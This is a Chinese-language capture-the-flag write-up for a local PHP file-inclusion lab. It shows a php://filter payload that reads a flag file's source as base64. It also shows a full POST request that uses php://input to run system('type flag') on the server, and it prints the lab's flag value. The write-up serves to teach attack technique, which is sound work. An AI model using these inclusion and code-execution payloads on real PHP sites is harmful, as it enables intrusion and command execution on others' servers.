文件包含伪协议靶场WP

Less-1

进入页面发现有个传参点，包含了一个php文件

提示flag在当前目录，尝试包含flag

1	?page=flag

提示：include success!!并没有显示flag内容

可能flag是一个可以被解析的php代码

尝试使用filter伪协议获取源码

1	?page=php://filter/read=convert.base64-encode/resource=flag

获取到遗传base64加密后的值，我们来进行解密

<?php
$flag = "flag{be4402d1f8dd451d98772fd50f6eee85}";
echo "include success!!";
?>

提交成功来到第二关

Less-2

继续直接尝试包含flag

1	?page=flag

发现被过滤掉了，并且页面提示allow_url_include:on

可以使用php://input伪协议远程包含木马，使用hackbar或者bp抓包修改请求方法为POST

POST /less2/less2.php?page=php://input HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

<?php system("type flag");?>